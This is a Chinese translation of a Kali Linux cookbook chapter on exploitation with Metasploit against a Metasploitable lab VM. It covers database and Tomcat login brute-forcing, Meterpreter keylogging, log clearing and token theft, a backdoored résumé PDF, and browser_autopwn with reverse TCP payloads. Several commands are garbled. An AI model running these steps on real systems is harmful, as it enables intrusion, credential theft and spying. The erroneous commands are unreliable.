摘要:這是執行漏洞利用的語法。同時注意當加載完成時,會顯示可用的漏洞利用列表。為了展示可用于此次漏洞利用的選項列表,我們使用模式。可以管理你的會話,而執行實際的載荷分發和漏洞利用工作。殺掉受害者系統的指定進程,使用語法。
第六章 漏洞利用
簡介作者:Willie L. Pritchett, David De Smet
譯者:飛龍
協議:CC BY-NC-SA 4.0
一旦我們完成了漏洞掃描步驟,我們就了解了必要的知識來嘗試利用目標系統上的漏洞。這一章中,我們會使用不同的工具來操作,包括系統測試的瑞士軍刀 Metasploit。
6.1 安裝和配置 Metasploitable這個秘籍中,我們會安裝、配置和啟動 Metasploitable 2。 Metasploitable 是基于 Linux 的操作系統,擁有多種可被 Metasploit 攻擊的漏洞。它由 Rapid7 (Metasploit 框架的所有者)設計。Metasploitable 是個熟悉 Meterpreter 用法的極好方式。
準備為了執行這個秘籍,我們需要下列東西:
互聯網連接
VirtualBox PC 上的可用空間
解壓縮工具(這里我們使用 Windows 上的 7-Zip)
操作步驟讓我們開始下載 Metasploitable 2。最安全的選擇是從 SourceForge 獲取下載包:
從這個鏈接下載 Metasploitable 2:http://sourceforge.net/ proje...。
將文件包括到硬盤的某個位置。
解壓文件。
將文件夾內容放到你儲存虛擬磁盤文件的位置。
打開 VirtualBox 并點擊New按鈕:
![](http://git.oschina.net/wizardforcel/kali-linux-cookbook-zh/raw/master/img/6-1-1.jpg)
點擊Next。
![](http://git.oschina.net/wizardforcel/kali-linux-cookbook-zh/raw/master/img/6-1-2.jpg)
輸入 Metasploitable 2 的名稱并將Operating System: 選擇為Linux,Version: 選項Ubuntu。像下面的截圖那樣點擊Next。
![](http://git.oschina.net/wizardforcel/kali-linux-cookbook-zh/raw/master/img/6-1-3.jpg)
如果可用的話,選擇 512 MB,并點擊Next。
![](http://git.oschina.net/wizardforcel/kali-linux-cookbook-zh/raw/master/img/6-1-4.jpg)
選項現有磁盤,并從你下載和保存 Metasploitable 2 文件夾的地方選擇 VDMK 文件。
![](http://git.oschina.net/wizardforcel/kali-linux-cookbook-zh/raw/master/img/6-1-5.jpg)
你的虛擬磁盤窗口會像下面的截圖那樣。在這個示例中,我們完全不需要更新磁盤空間。這是因為使用 Metasploitable 的時候,你會攻擊這個系統,而并不是將它用作操作系統。
![](http://git.oschina.net/wizardforcel/kali-linux-cookbook-zh/raw/master/img/6-1-6.jpg)
點擊Create。
![](http://git.oschina.net/wizardforcel/kali-linux-cookbook-zh/raw/master/img/6-1-7.jpg)
通過點擊 Metasploitable 2 的名稱和Start按鈕來啟動它。
工作原理這個秘籍中,我們在 Virtualbox 中配置了 Metasploitable 2。我們以從Sourceforge.net下載 Metasploitable 開始這個秘籍,之后我們配置了 VDMK 來在 VirtualBox 中運行并以啟動該系統結束。
6.2 掌握 Armitage,Metasploit 的圖形管理工具新版本的 Metasploit 使用叫做 Armitage 的圖形化前端工具。理解 Armitage 非常重要,因為它通過提供可視化的信息,使你對 Metasploit 的使用變得簡單。它封裝了 Metasploit 控制臺,并且通過使用它的列表功能,你可以一次看到比 Metasploit 控制臺或 Meterpreter 會話更多的內容。
準備需要互聯網或內部網絡的連接。
操作步驟讓我們開始操作 Armitage:
從桌面上訪問Start | Kali Linux | Exploitation Tools | Network Exploitation Tools | Armitage。
在 Armitage的登錄界面中,點擊Connect(連接)按鈕。
Armitage 可能需要一些時間來連接 Metasploit。當它完成時,你可能看見下面的提示窗口。不要驚慌,一旦 Armitage 能夠連接時,它會消失的。在 Start Metaspoit?界面,點擊Yes:
隨后你會看到 Armitage 的主窗口。我們現在討論主窗口的三個區域(標記為A、B和C,在下面的截圖中)。
A:這個區域展示了預先配置的模塊。你可以通過模塊列表下面的搜索框來搜索。
B:這個區域展示了你的活動目標,我們能夠利用它的漏洞。
C:這個區域展示了多個 Metasploit 標簽頁。它允許多個 Meterpreter 或控制臺會話同時運行和展示。
另見啟動 Armitage 的一個自動化方式就是在終端窗口中鍵入下列命令。
armitage
為了了解更多 Meterpreter 的信息,請見“掌握 Meterpreter”一節。
6.3 掌握 Metasploit 控制臺(MSFCONSOLE)這個秘籍中,我們會研究 Metasploit 控制臺(MSFCONSOLE)。MSFCONSOLE主要用于管理 Metasploit 數據庫,管理會話以及配置和啟動 Metasploit 模塊。本質上,出于利用漏洞的目的,MSFCONSOLE 能夠讓你連接到主機,便于你利用它的漏洞。
你可以使用以下命令來和控制臺交互:
help:這個命令允許你查看你嘗試運行的命令行的幫助文檔。
use module:這個命令允許你開始配置所選擇的模塊。
set optionname module:這個命令允許你為指定的模塊配置不同的選項。
exploit:這個命令啟動漏洞利用模塊。
run:這個命令啟動非漏洞利用模塊。
search module:這個命令允許你搜索獨立模塊。
exit:這個命令允許你退出 MSFCONSOLE。
準備需要互聯網或內部網絡的連接。
操作步驟讓我們開始探索 MSFCONSOLE:
打開命令行。
通過下列命令啟動 MSFCONSOLE:
msfconsole
通過search命令搜索所有可用的 Linux 模塊。每次我們打算執行操作時,都搜索一遍模塊通常是個好主意。主要因為在 Metasploit 的不同版本之間,模塊路徑可能發生改變。
search linux
使用 John the Ripper Linux 密碼破解模塊。
use auxiliary/analyzse/jtr_linux
通過下列命令展示該模塊的可用選項。
show options
既然我們列出了可以對這個模塊使用的選項,我們可以使用set命令來設置獨立選項。讓我們設置JOHN_PATH選項:
set JOHN_PATH /usr/share/metasploit-framework/data/john/wordlists/ password.lst
現在執行漏洞利用,我們需要輸入exploit命令:
exploit更多
一旦你通過 MSFCONSOLE 獲得了主機的訪問,你需要使用 Meterpreter 來分發載荷。MSFCONSOLE 可以管理你的回話,而 Meterpreter 執行實際的載荷分發和漏洞利用工作。
6.4 掌握 Metasploit CLI(MSFCLI)這個秘籍中,我們會探索 Metasploit CLI(MSFCLI)。Metasploit 需要接口來執行它的任務。MSFCLI 就是這樣的接口。它是一個極好的接口,用于學習 Metasploit ,或測試/編寫新的漏洞利用。它也可用于腳本的情況中,并且對任務使用基本的自動化。
使用 MSFCLI 的一個主要問題是,你只能夠一次打開一個 shell。你也會注意到,當我們探索一些命令的時候,它比 MSFCONSOLE 慢并且復雜。最后,你需要知道你打算利用的具體漏洞來使用 MSFCLI。這會使它對于滲透測試新手有些難以使用,他們并不熟悉 Metasploit 漏洞利用列表。
MSFCLI 的一些命令是:
msfcli:這會加載 MSFCLI 可訪問的所有可用漏洞利用列表。
msfcli -h:顯示 MSFCLI 的幫助文檔。
msfcli [PATH TO EXPLOIT] [options = value]:這是執行漏洞利用的語法。
準備需要互聯網或內部網絡的連接。
操作步驟讓我們開始探索 MSFCLI:
使用下列命令啟動 Metasploit CLI (MSFCLI)。請耐心等待,因為這可能花一些時間,取決于你的系統速度。同時注意當 MSFCLI 加載完成時,會顯示可用的漏洞利用列表。
msfcli
顯示 MSFCLI 幫助文檔:
msfcli -h
出于我們的演示目的,我們會執行圣誕樹掃描( Christmas Tree Scan)。我們會選擇選項 A 來顯示模塊高級選項。
msfcli auxiliary/scanner/portscan/xmas A
更多圣誕樹掃描的信息,請見下面的 URL:http://en.wikipedia.org/wiki/...。
此外,你可以列出當前模塊的概覽,通過使用S模式。概覽模式是一個極好方式,來查看可用于當前嘗試執行的漏洞利用的所有選項。許多選項都是可選的,但是一小部分通常是必須的,它們允許你設置嘗試利用哪個目標或端口的漏洞。
msfcli auxiliary/scanner/portscan/xmas S
為了展示可用于此次漏洞利用的選項列表,我們使用O模式。選項使用中配置漏洞利用模塊的方式。每個利用模塊都用不同的選項集合(或者什么都沒有)。任何所需的選項必須在漏洞利用執行之前設置。在下面的截圖中,你會注意到許多所需選項都設為默認。如果你碰到了這種情況,你就不需要更新選項的值,除非你打算修改它。
msfcli auxiliary/scanner/portscan/xmas O
我們使用E模式來執行漏洞利用。
msfcli auxiliary/scanner/portscan/xmas E
工作原理這里,我們使用了默認選項。
這個秘籍中,我們以啟動 MSFCLI 開始,之后搜索可用的模塊,并執行該模塊。在搜索的過程中,我們選修了圣誕樹掃描模塊并復查了 MSFCLI 界面來查看模塊概覽和所有可用選項。在設置完所有選項之后,我們執行了漏洞利用。
了解 Metasploit 框架分為三個不同的部分非常重要。這些部分是:
漏洞:這些都是弱點,要么已知要么位置。它們包含在特定的應用、阮家寶或協議中。在 Metasploit 中,漏洞按照分組,和漏洞利用列出,漏洞利用可以攻擊列在它們下面的漏洞。
漏洞利用:漏洞利用是用來利用所發現漏洞的模塊。
載荷:一旦成功執行了漏洞利用,必須把載荷傳給被攻擊的機器,以便允許我們創建 shell,運行各種命令,添加用戶以及其它。
一旦你通過 MSFCONSOLE 獲得了主機的訪問,你需要使用 Meterpreter 來分發載荷。MSFCONSOLE 可以管理你的會話,而 Meterpreter 執行實際的載荷分發和漏洞利用工作。
6.5 掌握 Meterpreter一旦你使用 Armitage,MSFCLI 或 MSFCONSOLE 獲得了主機的訪問權,你必須使用 Meterpreter 來傳遞你的載荷。MSFCONSOLE 可以管理你的會話,而 Meterpreter 執行實際的載荷分發和漏洞利用工作。
一些用于 Meterpreter 的常用命令包括:
help:這個命令允許你瀏覽幫助文檔。
background:這個命令允許你在后臺運行 Meterpreter 會話。這個命令也能為你帶回 MSF 提示符。
download:這個命令允許你從受害者機器中下載文件。
upload:這個命令允許你向受害者機器上傳文件。
execute:這個命令允許你在受害者機器上運行命令。
shell:這個命令允許你在受害者機器上運行 Windows shell 提示符(僅限于 Windows 主機)。
session -i:這個命令允許你在會話之間切換。
準備需要滿足下列要求:
內部網絡或互聯網的連接。
使用 Armitage,MSFCLI 或 MSFCONSOLE 由 Metasploit 創建好的,目標系統的活動會話。
操作步驟讓我們打開 MSFCONSOLE 來開始:
首先我們以 MSFCONSOLE 中展示的活動會話開始。
開始記錄目標系統中用戶的擊鍵順序:
keyscan_start
轉儲目標系統中用戶的擊鍵順序。擊鍵順序會顯示在屏幕上:
keyscan_dump
停止記錄目標系統中用戶的擊鍵順序。
keyscan_stop
刪除目標系統中的文件。
del exploited.docx
清除目標系統中的事件日志。
clearav
展示運行進程的列表。
ps
殺掉受害者系統的指定進程,使用kill [pid]語法。
kill 6353
嘗試偷取目標系統上的模擬令牌。
steal_token工作原理
我們以通過 Armitage,MSFCLI 或 MSFCONSOLE 預先建立的 Meterpreter 會話來開始。之后我們在目標機器上運行了多種命令。
更多當我們對基于 Linux 主機使用 Meterpreter 的時候,我們能夠在它上面運行 Linux 命令,就像我們操作這臺機器那樣。
6.6 Metasploitable MySQL這個秘籍中,我們會探索如何使用 Metasploit 來攻擊 MySQL 數據庫服務器,使用 MySQL 掃描器模塊。MySQL 是許多網站平臺的選擇,包括 Drupal 和 Wordpress,許多網站當前正在使用 MySQL 數據庫服務器。這會使它們更容易成為 Metasploitable MySQL 攻擊的目標。
準備需要滿足下列要求:
內部網絡的連接。
運行在滲透環境中的 Metasploitable 。
用于執行字典攻擊的單詞列表。
操作步驟讓我們通過打開終端窗口來開始 MySQL 攻擊:
打開終端窗口。
啟動 MSFCONSOLE。
msfconsole
搜索可用的 MySQL 模塊。
msfconsole mysql
使用 MySQL 掃描器模塊。
use auxiliary/scanner/mysql/mysql_login
顯示模塊的可用選項。
show options
將 RHOST 設置為 Metasploitable 2 主機或目標主機的地址。
set RHOST 192.168.10.111
設置用戶名文件的位置。你可以選擇:
set user_file /root/Desktop/usernames.txt
設置密碼文件的位置。你可以選擇:
set pass_file /root/Desktop/passwords.txt
執行漏洞利用:
Exploit
Metasploit 會嘗試輸入包含在兩個文件中的所有用戶名和密碼組合。找到生效的登錄和密碼組合旁邊的+符號就可以了。
工作原理這個秘籍中,我們使用 Metasploit 的 MSFCONSOLE 來利用 Metasploitable 2 靶機上的 MySQL 漏洞。我們以啟動控制臺并搜索所有已知的 MySQL 模塊來開始。在選擇 MySQL 登錄利用模塊之后,我們設置了選項并執行了漏洞利用,這讓我們能夠爆破 MySQL 登錄。Metasploit 使用提供的用戶名和密碼文件。并嘗試爆破 MySQL 數據庫。
更多這個秘籍中,我們使用了自己生成的用戶名和密碼文件。有許多方法可以生成用戶名和密碼單詞列表,這些方法在第八章中涉及。
6.7 Metasploitable PostgreSQL這個秘籍中,我們會探索如何使用 Metasploit 來攻擊 PostgreSQL 數據庫服務器,使用 PostgreSQL 掃描器模塊。PostgreSQL 被譽為全世界最先進的開源數據庫,許多愛好者聲稱它是企業級的數據庫。我們會使用 Metasploit 來爆破 PostgreSQL 登錄。
準備需要滿足下列要求:
內部網絡的連接。
運行在滲透環境中的 Metasploitable 。
用于執行字典攻擊的單詞列表。
操作步驟讓我們通過打開終端窗口來開始 PostgreSQL 攻擊:
打開終端窗口。
啟動 MSFCONSOLE。
msfconsole
搜索可用的 PostgreSQL 模塊。
msfconsole postgresql
使用 PostgreSQL 掃描器模塊。
use auxiliary/scanner/mysql/postgres_login
顯示模塊的可用選項。
show options
將 RHOST 設置為 Metasploitable 2 主機或目標主機的地址。
set RHOST 192.168.10.111
設置用戶名文件的位置。你可以選擇:
set user_file /root/Desktop/usernames.txt
設置密碼文件的位置。你可以選擇:
set pass_file /root/Desktop/passwords.txt
執行漏洞利用:
Exploit
Metasploit 會嘗試輸入包含在兩個文件中的所有用戶名和密碼組合。找到生效的登錄和密碼組合旁邊的+符號就可以了。
工作原理這個秘籍中,我們使用 Metasploit 的 MSFCONSOLE 來利用 Metasploitable 2 靶機上的 PostgreSQL 漏洞。我們以啟動控制臺并搜索所有已知的 PostgreSQL 模塊來開始。在選擇 PostgreSQL 登錄利用模塊之后,我們設置了選項并執行了漏洞利用,這讓我們能夠爆破 PostgreSQL 登錄。Metasploit 使用提供的用戶名和密碼文件。并嘗試爆破 PostgreSQL 數據庫。之后找到生效的登錄和密碼組合旁邊的+符號就可以了。
更多這個秘籍中,我們使用了默認的 PostgreSQL 用戶名和密碼文件。然而我們也可以創建自己的文件。有許多方法可以生成用戶名和密碼單詞列表,這些方法在第八章中涉及。
6.8 Metasploitable Tomcat這個秘籍中,我們會探索如何使用 Metasploit 攻擊 Tomcat 服務器,使用 Tomcat Manager Login 模塊。Tomcat,或 Apache Tomcat,是開源的 Web 服務器,和 Servlet 容器,用于運行 Java Servt 和 JSP。Tomcat 服務器純粹使用 Java 編寫。我們會使用 Metasploit 來爆破 Tomcat 的登錄。
準備需要滿足下列要求:
內部網絡的連接。
運行在滲透環境中的 Metasploitable 。
用于執行字典攻擊的單詞列表。
操作步驟讓我們通過打開終端窗口來開始這個秘籍:
打開終端窗口。
啟動 MSFCONSOLE。
msfconsole
搜索可用的 Tomcat 模塊。
msfconsole tomcat
使用 Tomcat Application Manager Login Utility。
use auxiliary/scanner/http/tomcat_mgr_login
顯示模塊的可用選項。
show options
要注意我們有很多設置為“是”的項目,它們都是必須的。我們使用它們的默認值。
設置Pass_File:
PASS_FILE meset /usr/share/metasploit-framework/data/wordlists/ tomcat_mgr_default_pass.txt
設置Pass_File:
USER_FILE mset /usr/share/metasploit-framework/data/wordlists/ tomcat_mgr_default_pass.txt
設置目標的RHOST,這里我們選擇我們的 Metasploitable 2 主機:
set RHOSTS 192.168.10.111
將RPORT設置為 8180:
set RPORT 8180
執行漏洞利用:
Exploit工作原理
這個秘籍中,我們使用 Metasploit 的 MSFCONSOLE 來利用 Metasploitable 2 靶機上的 Tomcat 漏洞。我們以啟動控制臺并搜索所有已知的 Tomcat 模塊來開始。在選擇 Tomcat 登錄利用模塊之后,我們設置了選項并執行了漏洞利用,這讓我們能夠爆破 Tomcat 登錄。Metasploit 使用提供的用戶名和密碼文件。并嘗試爆破 Tomcat 數據庫。之后找到生效的登錄和密碼組合旁邊的+符號就可以了。
6.9 Metasploitable PDF這個秘籍中,我們會探索如何使用 Metasploit 來執行攻擊,使用 Adobe PDF 內嵌模塊來利用 PDF 文檔漏洞。Adobe PDF 是文檔傳輸的標準。由于它的廣泛使用,尤其是由于它的商業用途,我們會通過讓用戶認為他們打開了來自求職崗位的正常 PDF 文檔來攻擊用戶的機器。
準備需要滿足下列要求:
內部網絡的連接。
運行在滲透環境中的 Metasploitable 。
用于執行字典攻擊的單詞列表。
操作步驟讓我們通過打開終端窗口來開始這個秘籍:
打開終端窗口。
啟動 MSFCONSOLE。
msfconsole
搜索可用的 PDF 模塊。
msfconsole pdf
使用 PDF 內嵌模塊:
use exploit/windows/fileformat/adobe_pdf_embedded_exe
顯示模塊的可用選項。
show options
設置我們想要生成的 PDF 文件名稱:
set FILENAME evildocument.pdf
設置 INFILENAME 選項。它是你打算使用的 PDF 文件的位置。這里,我使用桌面上的簡歷。
set INFILENAME /root/Desktop/willie.pdf
要注意,這個模塊的所有選項都是可選的,除了INFILENAME 。
執行漏洞利用:
Exploit工作原理
這個秘籍中,我們使用 Metasploit 的 MSFCONSOLE 創建了包含 Meterpreter 后門的 PDF 文件。我們以啟動控制臺并搜索所有可用的 PDF 漏洞來開始。在選擇 PDF 內嵌模塊之后,我們設置選項并執行漏洞利用,這讓我們在正常的 PDF 中埋下后門程序。Metasploit 會生成帶有 Windows 反向 TCP 載荷的 PDF。當你的目標打開 PDF 文件時,Meterpreter 會開啟答復并激活會話。
6.10 實現 browser_autopwn瀏覽器 Autopwn 是 Metasploit 提供的輔助模塊,在受害者訪問網頁時,讓你能夠自動化對它們的攻擊。瀏覽器 Autopwn 在攻擊之前指定客戶端的指紋識別,也就是說他不會對 IE 7 嘗試利用 Firefox 的漏洞。基于它的瀏覽器判斷,它決定最適于實施哪個漏洞利用。
準備需要互聯網或內部網絡的連接。
操作步驟讓我們通過打開終端窗口來開始這個秘籍:
打開終端窗口。
啟動 MSFCONSOLE:
msfconsole
搜索可用的 autopwn 模塊。
msfconsole autopwn
使用 browser_autopwn 模塊:
Use auxiliary/server/browser_autopwn
設置我們的載荷,這里我們使用 Windows 反向 TCP:
set payload windows/meterpreter/reverse_tcp
顯示可用于該載荷類型的選項。
show options
設置反向連接所使用的 IP。這里,該 PC 的 IP 地址為 192.168.10.109。
set LHOST 192.168.10.109
下面,我們打算設置 URIPATH,這里我們使用"filetypes"(帶引號):
set URIPATH "filetypes"
最后,我們執行漏洞利用:
exploit
Metasploit 會在 IP 地址 http://[Provided IP Address]:... 處執行漏洞利用。
當訪問者訪問這個地址時,browser_autopwn模塊嘗試連接用戶的機器來建立遠程會話。如果成功的話,Meterpreter 會確認這個會話。使用會話命令來激活它:
session –I 1
為了顯示我們可以使用的 Meterpreter 命令列表,輸入help。
help
會顯示可用命令的列表。這里,我們啟動擊鍵順序掃描:
keyscan_start
為了得到受害者機器上的擊鍵順序,我們鍵入keyscan_start命令:
keyscan_dump工作原理
這個秘籍中,我們使用 Metasploit 的 MSFCONSOLE 來執行 browser_autopwn 漏洞利用。我們以啟動控制臺并搜索所有已知的autopwn模塊開始。在喧囂autopwn模塊之后,我們將載荷設置為windows_reverse_tcp。這允許我們在利用成功時得到返回的鏈接。一旦受害者訪問了我們的網頁,漏洞利用就成功了,我們就能得到 Meterpreter 活動會話。
文章版權歸作者所有,未經允許請勿轉載,若此文章存在違規行為,您可以聯系管理員刪除。
轉載請注明本文地址:http://specialneedsforspecialkids.com/yun/11212.html
摘要:第五章漏洞評估作者譯者飛龍協議簡介掃描和識別目標的漏洞通常被滲透測試者看做無聊的任務之一。家庭版的有效許可證。在標簽頁中,選擇并選擇下列特定的漏洞。。漏洞會詳細列出。發現特定的漏洞在這個秘籍中,我們會使用探索如何發現特定漏洞。 第五章 漏洞評估 作者:Willie L. Pritchett, David De Smet 譯者:飛龍 協議:CC BY-NC-SA 4.0 簡介 掃描和...
摘要:第三章高級測試環境作者譯者飛龍協議簡介既然我們已經了解了所包含的工具,現在我們要調查一些真實世界的場景。下載靶機到目前為止,以及可見的未來中,微軟的系統都是許多個人和企業所選的操作系統。 第三章 高級測試環境 作者:Willie L. Pritchett, David De Smet 譯者:飛龍 協議:CC BY-NC-SA 4.0 簡介 既然我們已經了解了 Kali Linux ...
閱讀 3350·2021-11-04 16:10
閱讀 3846·2021-09-29 09:43
閱讀 2692·2021-09-24 10:24
閱讀 3337·2021-09-01 10:46
閱讀 2503·2019-08-30 15:54
閱讀 585·2019-08-30 13:19
閱讀 3232·2019-08-29 17:19
閱讀 1048·2019-08-29 16:40